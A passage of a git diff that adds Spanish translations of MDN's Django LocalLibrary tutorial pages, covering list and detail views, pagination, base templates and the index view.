+ <li>Añadir un método <code>get_queryset</code> a tu vista basada en clases pesonalizada y también especificar el <code>order_by()</code>.</li>
+</ol>
+
+<p>Si te decides por la opción <code>class Meta</code> para el modelo Author (probablemente no tan flexible como personalizar la vista basada en clases, pero lo suficientemente fácil), terminarás con algo como esto:</p>
+
+<pre>class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return '%s, %s' % (self.last_name, self.first_name)
+
+<strong>    class Meta:
+        ordering = ['last_name']</strong></pre>
+
+<p>Por supuesto, el campo no tiene que ser <code>last_name</code>: podría ser cualquier otro.</p>
+Y por último, pero no menos importante, deberías ordenar por un atributo/columna que tenga un índice real (único o no) en tu base de datos para evitar problemas de rendimiento. Por supuesto, esto no será necesario aquí (y probablemente nos estemos adelantando mucho) para la pequeña cantidad de libros (¡y usuarios!), pero es algo a tener en cuenta para proyectos futuros.</div>
+
+<h2 id="¿Cómo_se_ve_2">¿Cómo se ve?</h2>
+
+<p>En este punto deberíamos haber creado todo lo necesario para desplegar tanto la lista de libros como las páginas de detalles de libros. Ejecuta el servidor (<code>python3 manage.py runserver</code>) y dirígete en tu navegador a <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>.</p>
+
+<div class="warning">
+<p><strong>Advertencia</strong>: No hagas click aún en ningún enlace de autor o de detalles de autores -- ¡los crearás en el reto!</p>
+</div>
+
+<p>Haz click en el enlace <strong>All books</strong> para desplegar la lista de libros.</p>
+
+<p><img alt="Book List Page" src="https://mdn.mozillademos.org/files/14049/book_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 823px;"></p>
+
+<p>Luego haz click en un enlace a uno de tus libros. Si todo está correcto, deberías ver algo como la siguiente pantalla.</p>
+
+<p><img alt="Book Detail Page" src="https://mdn.mozillademos.org/files/14051/book_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 783px; margin: 0px auto; width: 926px;"></p>
+
+<h2 id="Paginación">Paginación</h2>
+
+<p>Si apenas tienes unos pocos registros, nuestra página de lista de libros se verá bien. Sin embargo, cuando llegues a las decenas o centenas de registros la página tomará progresivamente más tiempo en cargar (y tendrá demasiado contenido para navegar adecuadamente). La solución a este problema es añadir paginación a tus vistas de lista, reduciendo el número de Ítems desplegados en cada página.</p>
+
+<p>Django incluye un excelente soporte para paginación. Mejor aún, este está incluído en las vistas de lista genéricas basadas en clases, ¡así que no tienes que hacer mucho para habilitarlo!</p>
+
+<h3 id="Vistas">Vistas</h3>
+
+<p>Abre <strong>catalog/views.py</strong>, y añadie la línea <code>paginate_by</code> que se muestra abajo en negrita.</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+    <strong>paginate_by = 10</strong></pre>
+
+<p>Con esta adición, apenas tengas más de 10 registros la vista comenzará a paginar la información que envía a la plantilla. A las diferentes páginas se accede usando parámetros GET -- para acceder a la página 2 usarías la URL: <code>/catalog/books/?<strong>page=2</strong></code>.</p>
+
+<h3 id="Plantillas">Plantillas</h3>
+
+<p>Ahora que la información está paginada, necesitamos añadir soporte a la plantilla para desplazarse a través del conjunto de resultados. Como podríamos querer hacer lo mismo en todas las vistas de lista, lo haremos de una forma en la que puede ser añadida a la plantilla base.</p>
+
+<p>Abre <strong>/locallibrary/catalog/templates/<em>base_generic.html </em></strong>y copia el siguiente bloque <code>pagination</code> debajo de nuestro bloque <code>content</code> (resaltado abajo en negrita). El código primero revisa si la paginación está habilitada en la página actual. Si lo está, añade enlaces <code>next</code> y <code>previous</code> apropiados (y el número de la página actual).</p>
+
+<pre class="brush: python"><strong>{% block content %}{% endblock %}</strong>
+
+{% block pagination %}
+  {% if is_paginated %}
+      &lt;div class="pagination"&gt;
+          &lt;span class="page-links"&gt;
+              {% if page_obj.has_previous %}
+                  &lt;a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}"&gt;previous&lt;/a&gt;
+              {% endif %}
+              &lt;span class="page-current"&gt;
+                  Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}.
+              &lt;/span&gt;
+              {% if page_obj.has_next %}
+                  &lt;a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}"&gt;next&lt;/a&gt;
+              {% endif %}
+          &lt;/span&gt;
+      &lt;/div&gt;
+  {% endif %}
+{% endblock %} </pre>
+
+<p><code>page_obj</code> es un objeto <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">Paginator</a> que existirá si se usa la paginación en la página actual. Te permite obtener toda la información sobre la página actual, páginas anteriores, cuántas páginas hay, etc.</p>
+
+<p>Usamos <code>\{{ request.path }}</code> para obtener la URL de la página actual para crear a su vez los enlaces de paginación. Esto es útil, porque es independiente del objeto que estamos paginando.</p>
+
+<p>¡Eso es todo!</p>
+
+<h3 id="¿Cómo_se_ve_3">¿Cómo se ve?</h3>
+
+<p>La captura de pantalla de abajo muestra cómo se ve la paginación -- si no has ingresado más de 10 títulos en tu base de datos, puedes probarlo más fácilmente reduciendo el número especificado en la línea <code>paginate_by</code> en tu archivo <strong>catalog/views.py</strong>. Para obtener el resultado de abajo lo cambiamos a <code>paginate_by = 2</code>.</p>
+
+<p>Los enlaces de paginación se muestran en la parte de abajo, con enlaces de next/previous desplegados dependiendo de en qué página estés</p>
+
+<p><img alt="Book List Page - paginated" src="https://mdn.mozillademos.org/files/14057/book_list_paginated.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 924px;"></p>
+
+<h2 id="Rétate_a_tí_mismo">Rétate a tí mismo</h2>
+
+<p>El reto en este artículo es crear las vistas de lista y detalle para autores, que se requieren para completar el proyecto. Estas deberían estar disponibles en las siguientes URLs:</p>
+
+<ul>
+ <li><code>catalog/authors/</code> — La lista de todos los autores.</li>
+ <li><code>catalog/author/<em>&lt;id&gt;</em></code><em> </em>— La vista de detalle para el autor específico con un valor en el campo de clave primaria de <em><code>&lt;id&gt;</code></em></li>
+</ul>
+
+<p>El código requerido para los mapeadores URL y las vistas debería ser virtualmente idéntico a las vistas de lista y detalle para <code>Book</code> que creamos arriba. Las plantillas serán diferentes, pero tendrán un comportamiento similar.</p>
+
+<div class="note">
+<p><strong>Nota</strong>:</p>
+
+<ul>
+ <li>Una vez que has creado el mapeador URL para la página de lista de autores, necesitarás también actualizar el enlace <strong>All authors</strong> en la plantilla base. Sigue el <a href="#Update_the_base_template">mismo proceso</a> que hicimos cuando actualizamos el enlace <strong>All books</strong>.</li>
+ <li>Una vez que has creado el mapeador URL para la página de detalle de autores, deberías también actualizar la <a href="#Creating_the_Detail_View_template">plantilla de vista de detalle de libros </a>(<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>) de modo que el enlace de autor apunte a tu nueva página de detalle de autor (en lugar de ser una URL vacía). La línea cambiará para añadir la etiqueta de plantilla que se muestra en negrita abajo.</li>
+</ul>
+
+<pre class="brush: html">&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;&lt;/p&gt; </pre>
+</div>
+
+<p>Cuando termines, tus páginas deberían lucir similares a las capturas de pantalla de abajo.</p>
+
+<p><img alt="Author List Page" src="https://mdn.mozillademos.org/files/14053/author_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<ul>
+</ul>
+
+<p><img alt="Author Detail Page" src="https://mdn.mozillademos.org/files/14055/author_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 358px; margin: 0px auto; width: 825px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Felicitaciones, ¡la funcionalidad de nuestra biblioteca básica está ahora completa!</p>
+
+<p>En este artículo hemos aprendido cómo usar las vistas genéricas basadas en clases de lista y detalle, y las hemos usado para crear páginas para ver nuestros libros y autores. Sobre la marcha hemos aprendido sobre coincidencia de patrones con expresiones regulares, y cómo puedes enviar información desde las URLs a tus vistas. Hemos también aprendido unos cuantos trucos más para usar plantillas. Por último hemos mostrado cómo paginar vistas de lista, de modo que nuestras listas sean manejables incluso si tenemos muchos registros.</p>
+
+<p>En los siguientes artículos extenderemos esta biblioteca para añadir soporte para cuentas de usuario, y así demostrar la autenticación de usuarios, permisos, sesiones y formularios.</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Vistas genéricas basadas en clases incluídas</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/">Vistas genéricas de despliegue</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/">Introducción a las vistas basadas en clases</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">Etiquetas de plantilla y filtros incluídos</a> (Django docs).</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/pagination/">Paginación</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/home_page/index.html b/files/es/learn/server-side/django/home_page/index.html
new file mode 100644
index 0000000000..4c849e8917
--- /dev/null
+++ b/files/es/learn/server-side/django/home_page/index.html
@@ -0,0 +1,403 @@
+---
+title: 'Tutorial de Django Parte 5: Creación de tu página de inicio'
+slug: Learn/Server-side/Django/Home_page
+translation_of: Learn/Server-side/Django/Home_page
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Estamos listos ahora para añadir el código para mostrar nuestra primera página entera — una página de inicio del sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a> que muestra cuántos registros tenemos de cada tipo de modelo y proporciona una barra lateral con enlaces de navegación a nuestras otras páginas. Por el camino ganaremos experiencia práctica en escritura básica de mapeos de URL y vistas, obtención de resgistros de la base de datos y uso de plantillas.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>Lee la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a>. Completa los tópicos previos del tutorial (incluyendo <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Entender cómo crear mapas url y vistas simples (sin información codificada en la URL), y cómo obtener información desde los modelos y crear plantillas.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_General">Visión General</h2>
+
+<p>Ahora que hemos definindo nuestros modelos y hemos creado los primeros registros en la librería para trabajar, es hora de escribir código para presentar información a los usuarios. Lo primero que necesitamos es determinar que información queremos mostrar en nuestras páginas, y definir una URL apropiada hacia estos recursos. Vamos a necesitar crear el mapeador de URLs, las vistas y plantillas para mostrar estas páginas.</p>
+
+<p>El siguiente diagrama es un recordatorio del principal flujo de datos y cosas necesarias para ser implementadas cuando se maneja una respuesta/petición en HTTP.<br>
+ Los principales elementos que necesitamos crear son:</p>
+
+<ul>
+ <li>Mapeadores URL para reenviar las URLs admitidas (y cualquier información codificada en las URLs)  a las funciones de vista apropiadas.</li>
+ <li>Funciones de vista para obtener los datos solicitados desde los modelos, crear una página HTML que muestre los datos, y devolverlo al usuario para que lo vea en el navegador.</li>
+ <li>Plantillas usadas por las vistas para renderizar los datos.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p>
+
+<p>Como verás en la siguiente sección, vamos a tener 5 páginas para mostrar, que es mucho que documentar en un artículo. Por lo tanto, en la mayor parte de este artículo nos concentraremos en mostrar como implementar solo la página de inicio (nos moverermos a otras páginas en un artículo subsecuente). Esto debe darte un buen entendimiento de extremo a extremo sobre como los mapeadores URL, vistas y modelos funcionan en la práctica.</p>
+
+<h2 id="Definiendo_el_recurso_URL">Definiendo el recurso URL</h2>
+
+<p>Como esta versión de <em>LocalLibrary</em>  es escencialmente solo de lectura para usuarios finales, debemos proveer una página de llegada para el sitio (una página de inicio), y páginas que <em>desplieguen</em> listas y vistas detalladas para libros y autores. </p>
+
+<p>Las URL que vamos a necesitar para nuestras páginas son:</p>
+
+<ul>
+ <li><code>catalog/</code> — La página home/index.</li>
+ <li><code>catalog/books/</code> — La lista de todos los libros.</li>
+ <li><code>catalog/authors/</code> — La lista de todos los autores.</li>
+ <li><code>catalog/book/<em>&lt;id&gt;</em></code> — La vista detallada para el libro específico con un campo de clave primaria de <code><em>&lt;id&gt;</em></code> (el valor por defecto). Así por ejemplo, <code>/catalog/book/3</code>, para el tercer libro añadido.</li>
+ <li><code>catalog/author/<em>&lt;id&gt;</em></code><em> </em>— La vista detallada para el autor específico con un campo de clave primaria llamada <em><code>&lt;id&gt;. </code></em>Así por ejemplo, <code>/catalog/author/11</code>, para el 11vo autor añadido.</li>
+</ul>
+
+<p>La tres primeras URLs son usadas para listar el índice, los libros y autores. Esto no codifica ninguna información adicional, y mientras los resultados retornados dependerán del contenido en la base de datos, las consultas que se ejecutan para obtener la información siempre serán las mismas.</p>
+
+<p>En contraste las 2 URLs finales son usadas para mostrar información detallada sobre un libro o autor específico — estas codifican la identidad de los ítemes a mostrar en la URL (mostrado arriba como <code><em>&lt;id&gt;</em></code> ). El mapeador URL puede extraer la información codificada y pasársela a la vista, donde se detarminará que información extraer de la base de datos. Al codificar la información en nuestra URL solo necesitamos un mapeador de URL, una vista, y un plantilla para manejar cada libro (o autor). </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Django te permite construir tus URLs  de cualquier forma que quieras — puedes codificar información en el cuerpo de la URL como se muestra arriba o usando la obtención de  parámetros <code>GET</code>  de la URL(e.j. <code>/book/?id=6</code>). Culquier enfoque que uses, las URLs deben mantenerse limpias, lógicas y legibles (<a href="https://www.w3.org/Provider/Style/URI">observa el consejo del W3C aquí</a>).<br>
+ <br>
+ La documentación Django tiende a recomendar la codificación de información en el cuerpo de la URL, una práctica que ellos creen que promueve mejores diseños de URL.</p>
+</div>
+
+<p>Como discutimos en la introducción, el resto de este articulo describe como construimos la página index.</p>
+
+<h2 id="Creando_la_página_index">Creando la página index</h2>
+
+<p>La primera página que crearemos será la página index (<code>catalog/</code>). Esto desplegará un pequeño HTML estático, junto con algunos "contadores" calculados de diferentes registros en la base de datos. Para hacer este trabajo tendremos que crear un mapeador URL, una vista y una plantilla. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Vale la pena prestar un poco de atención extra en esta sección. La mayoría del contenido es común para todas las páginas.</p>
+</div>
+
+<h3 id="Mapeador_URL">Mapeador URL</h3>
+
+<p>Hemos creado un archivo básico <strong>/catalog/urls.py</strong> para nuestra aplicación catálogo cuando creamos el <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">esqueleto del sitio Web</a>. Las URLs de la aplicación catálogo fueron incluidas dentro del proyecto con un mapeador a <code>catalog/</code>, entonces las URLs  que llegan a este mapeador deben empezar con<code> catalog/</code> (el mapeador funciona sobre todos los string en la URL después de la barra diagonal).</p>
+
+<p>Abra <strong>urls.py</strong> y pegue la línea en negrita que aparece a continuación. </p>
+
+<pre class="brush: python">urlpatterns = [
+<strong>    url(r'^$', views.index, name='index'),</strong>
+]</pre>
+
+<p>Esta función <code>url()</code> define un patrón URL (<code>r'^$'</code>),  y una función vista que será llamada si el patrón es detectado (<code>views.index</code> — una función llamada <code>index()</code> en <strong>views.py</strong>). El patrón URL es una <a href="https://docs.python.org/3/library/re.html">expresión regular de Python</a> (ER). Hablaremos un poco más sobre ERs más adelante en este tutorial, pero para este caso todo lo que necesitas saber es que en una ER de ^$  el patrón coincidirá con una cadena vacía  (^ es un marcador de inicio de cadena y  $ es un marcador de fin de cadena). </p>
+
+<div class="note">
+<p><strong>Nota: </strong>Nota que en  <strong>/locallibrary/locallibrary/urls.py</strong> </p>
+
+<pre><code>urlpatterns += [
+    url(r'^catalog/', include('catalog.urls')),
+]</code></pre>
+
+<p>La expresión regular en este caso no tienen un <code>$</code> (caracter asignado a fin-de-cadena) pero incluye una barra diagonal. Siempre cuando Django se encuentra con <code>include()</code> (<a href="https://docs.djangoproject.com/en/1.11/ref/urls/#django.conf.urls.include" title="django.conf.urls.include"><code>django.conf.urls.include()</code></a>), corta cualquier parte de la URL que coincida hasta este punto y envía el resto de la cadena para incluir la configuración URL para el siguiente procesamiento.</p>
+
+<p>La URL coincidente es en realidad <code>catalog/</code> + &lt;cadena vacía&gt; ( <code>/catalog/</code> es asumida ya que include() fue el método usado). Nuestra primera función vista  será llamada si recibimos una consulta HTTP con una URL de <code>/catalog/</code>.</p>
+</div>
+
+<p>La función  <code>url()</code> también especifica un parámetro <code>name</code>, que identifica de manera única  <em>este</em> mapeador de URL particular. Puedes usar este nombre para "revertir" el mapeador — para crear dinámicamente una URL que apunta al el recurso que el mapeador esta diseñado para manejar. Por ejemplo, con esto hecho ahora podemos enlazar nuestra página inicio creando el siguiente enlace en nuestra plantilla:</p>
+
+<pre class="brush: html">&lt;a href="<strong>{% url 'index' %}</strong>"&gt;Home&lt;/a&gt;.</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Por su puesto podemos codificar a fuerza bruta el link anterior (e.j. <code>&lt;a href="<strong>/catalog/</strong>"&gt;Home&lt;/a&gt;</code>), pero entonces si cambiamos el patrón para nuestra página de inicio (e.j. a <code>/catalog/index</code>) la plantilla no podrá seguir enlazando correctamente. Usar un mapeador de url es mucho más flexible y robusto!</p>
+</div>
+
+<h3 id="Vista_basada-en-funciones">Vista (basada-en-funciones)</h3>
+
+<p>Una vista es una función que procesa una consulta HTTP, trae datos desde la base de datos cuando los necesita, genera una página HTML renderizando estos datos unando una plantilla HTML, y luego retorna el HTML en una respuesta HTTP para ser mostrada al usuario. La vista del índice sigue este modelo — extrae información sobre cuantos <code>Book</code>, <code>BookInstance</code>,  <code>BookInstance</code> disponibles y registros <code>Author</code> tenemos en la base de datos, y los pasa a una plantilla para mostrarlos.</p>
+
+<p>Abre <strong>catalog/views.py</strong>, y nota que el archivo ya importa el atajo de la función <a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">render()</a> que genera archivos HTML usando una plantilla y datos. </p>
+
+<pre class="brush: python">from django.shortcuts import render
+
+# Create your views here.
+</pre>
+
+<p>Copia el siguiente código al final del archivo. La primera linea importa las clases de los modelos que usaremos para acceder a los datos en todas nuestras vistas.</p>
+
+<pre class="brush: python">from .models import Book, Author, BookInstance, Genre
+
+def index(request):
+    """
+    Función vista para la página inicio del sitio.
+    """
+    # Genera contadores de algunos de los objetos principales
+    num_books=Book.objects.all().count()
+    num_instances=BookInstance.objects.all().count()
+    # Libros disponibles (status = 'a')
+    num_instances_available=BookInstance.objects.filter(status__exact='a').count()
+    num_authors=Author.objects.count()  # El 'all()' esta implícito por defecto.
+
+    # Renderiza la plantilla HTML index.html con los datos en la variable contexto
+    return render(
+        request,
+        'index.html',
+        context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors},
+    )</pre>
+
+<p>La primera parte de la función vista extrae contadores de registros usando el atributo <code>objects.all()</code> en las clases del modelo. Tambien obtiene una lista de los objetos <code>BookInstance</code>  que tienen un valor del campo status de  'a' (Disponible). Puedes encontrar un poco más sobre cómo acceder desde modelos en nuestro tutorial previo (<a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Django Tutorial Part 3: Usando modelos &gt; Buscando registros</a>).</p>
+
+<p>Al final de la función invocamos a la función <code>render()</code>  para crear y retornar una página  HTML como una respuesta (esta función atajo envuelve una serie, simplicando este caso de uso muy común). Esta recibe como parametros el objeto <code>request original</code> (una <code>ConsultaHttp</code>), una plantilla HTML con marcadores para los datos, y una variable de <code>contexto</code> (un diccionario Python que contiene los datos que serán insertados en esos marcadores). </p>
+
+<p>Hablaremos más sobre la plantilla y la variable de contexto en la siguiente sección; vamos a crear nuestra plantilla para así de hecho mostrarle algo al usuario!</p>
+
+<h3 id="Plantilla">Plantilla</h3>
+
+<p>Una plantilla es un archivo de texto  que determina la estructura o diseño de un archivo (como una página HTML), con marcadores usados para representar el contenido real. Django automaticamente buscará plantillas en un directorio llamado '<strong>templates</strong>' de su aplicación. Así por ejemplo, en la vista índice que acabamos de agregar, la función <code>render()</code> esperará poder encontrar el archivo <strong>/locallibrary/catalog/templates/<em>index.html</em></strong>, y entregará un error si el archivo no puede ser encontrado. Puede ver esto si guarda los cambios anteriores y vuelve a su navegador — accediendo a <code>127.0.0.1:8000</code> ahora le entregará un mensaje de error bastante intuitivo "TemplateDoesNotExist at /catalog/", más otros detalles.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Django buscará en una serie de lugares por plantillas, basandose en su archivo de configuraciones de proyectos (buscar en su aplicación instalada es una configuración por defecto!). Puede encontrar más sobre como Django encuentra plantillas y qué formatos de plantillas soporta <a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Templates</a> (Django docs).</p>
+</div>
+
+<h4 id="Plantillas_extendidas">Plantillas extendidas</h4>
+
+<p>La plantilla índice va a necesitar marcado HTML estándar para la cabecera y el cuerpo, junto con secciones para navegar (a otras páginas en el sitio que todavía no hemos creado) y para mostrar algún texto introductorio y nuestros datos de libro. La mayoría de este texto (el HTML y la estructura de navegación) será el mismo para cada página en nuestro sitio. En lugar de obligar a los desarrolladores a duplicar este texto en cada página, el lenguaje de plantillas de Django le permite declarar una plantilla base y luego extenderla, reemplazando solo las porciones que son distintos para cada página específica. </p>
+
+<p>Por ejemplo, un plantilla base <strong>base_generic.html</strong> podría verse como el texto de abajo. Como puedes ver, este contiene algo de HTML "común"  y secciones para el título, barra lateral, y contendio marcados usando las etiquetas de plantillas llamadas <code>block</code> y <code>endblock</code>  (mostradas en negrita). Los bloques pueden estar vacíos, o tener contenido que será usado "por defecto" para páginas derivadas.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las etiquetas de plantilla son como funciones que puede usar en una plantilla para recorrer listas, realizar operaciones condicionales basadas en el valor de una variable, etc. Además de las etiquetas de plantilla, la sintaxis de plantilla te permite referenciar variables de plantilla (que son pasadas en la plantilla desde la vista)  y usar  <em>filtros de plantilla</em>, que reformatean las variables (por ejemplo, establecer una cadena en minúsculas).</p>
+</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  <strong>{% block title %}</strong>&lt;title&gt;Local Library&lt;/title&gt;<strong>{% endblock %}</strong>
+&lt;/head&gt;
+
+&lt;body&gt;
+  <strong>{% block sidebar %}</strong>&lt;!-- insert default navigation text for every page --&gt;<strong>{% endblock %}</strong>
+  <strong>{% block content %}</strong>&lt;!-- default content text (typically empty) --&gt;<strong>{% endblock %}</strong>
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Cuando queremos definir una plantilla para una vista en particular, primero especificamos la plantila base  (con la etiqueta de plantilla  <code>extends</code> — vea el código siguiente). Si ahí hay alguna seccón que queremos reemplazar en la plantilla declaramos esto, usando secciones <code>block</code>/<code>endblock</code>  idénticas a las usadas en la plantilla base.</p>
+
+<p>Por ejemplo, el fragmento de código que sigue muestra como usar la etiqueta de plantilla <code>extends</code>, y sobrescribe el bloque <code>content</code>. El HTML final producido tendrá todo el HTML y la estructura defininda en la plantilla base (incluyendo el contenido por defecto que ha definido dentro del bloque <code>title</code>), pero con tu nuevo bloque <code>content</code> insertado en lugar del que venía por defecto.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+&lt;h1&gt;Local Library Home&lt;/h1&gt;
+&lt;p&gt;Welcome to &lt;em&gt;LocalLibrary&lt;/em&gt;, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.&lt;/p&gt;
+{% endblock %}</pre>
+
+<h4 id="La_plantilla_base_de_LocalLibrary">La plantilla base de LocalLibrary</h4>
+
+<p>La plantilla base que pensamos usar para el siito web <em>LocalLibrary </em>se muestra abajo. Como puedes ver, contiene algo de HTML y bloques definidos para <code>title</code>, <code>sidebar</code> y <code>content</code>. Tenemos un título por defecto (que podríamos querer cambiar) y una barra lateral por defecto con enlaces a listas de todos los libros y autores (que probablemente no querramos cambiar, pero hemos dejado abierta la posibilidad de hacerlo si es necesario, poniéndolo en un bloque).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: También introducimos dos etiquetas de plantilla adicionales: <code>url</code> y <code>load static</code>. Se discute sobre ellas en secciones posteriores.</p>
+</div>
+
+<p>Crea un nuevo archivo -- <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> -- y pon en él el siguiente contenido:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+
+  {% block title %}&lt;title&gt;Local Library&lt;/title&gt;{% endblock %}
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
+  &lt;link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"&gt;
+  &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"&gt;&lt;/script&gt;
+  &lt;script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"&gt;&lt;/script&gt;
+
+  &lt;!-- Add additional CSS in static file --&gt;
+  {% load static %}
+  &lt;link rel="stylesheet" href="{% static 'css/styles.css' %}"&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+  &lt;div class="container-fluid"&gt;
+
+    &lt;div class="row"&gt;
+      &lt;div class="col-sm-2"&gt;
+      {% block sidebar %}
+      &lt;ul class="sidebar-nav"&gt;
+          &lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href=""&gt;All books&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href=""&gt;All authors&lt;/a&gt;&lt;/li&gt;
+      &lt;/ul&gt;
+     {% endblock %}
+      &lt;/div&gt;
+      &lt;div class="col-sm-10 "&gt;
+      {% block content %}{% endblock %}
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+  &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>La plantilla usa (e incluye) JavaScript y CSS desde <a href="http://getbootstrap.com/">Bootstrap</a> para mejorar el diseño y la presentación de la página HTML. Usar Bootstrap u otro framework web del lado del cliente es una manera rápida de crear una página atractiva que puede escalarse bien en diferentes tamaños de navegador, y también nos permite concentrarnos en la presentación de la página sin tener que entrar en ninguno de los detalles -- ¡queremos enfocarnos nada más en el código del lado del servidor aquí!</p>
+
+<p>La plantilla base también hace referencia a un archivo css local (<strong>styles.css</strong>) que brinda algo más de estilo. Crea <strong>/locallibrary/catalog/static/css/styles.css</strong> y pon en él el siguiente contenido:</p>
+
+<pre class="brush: css">.sidebar-nav {
+    margin-top: 20px;
+    padding: 0;
+    list-style: none;
+}</pre>
+
+<h4 id="La_plantilla_index">La plantilla index</h4>
+
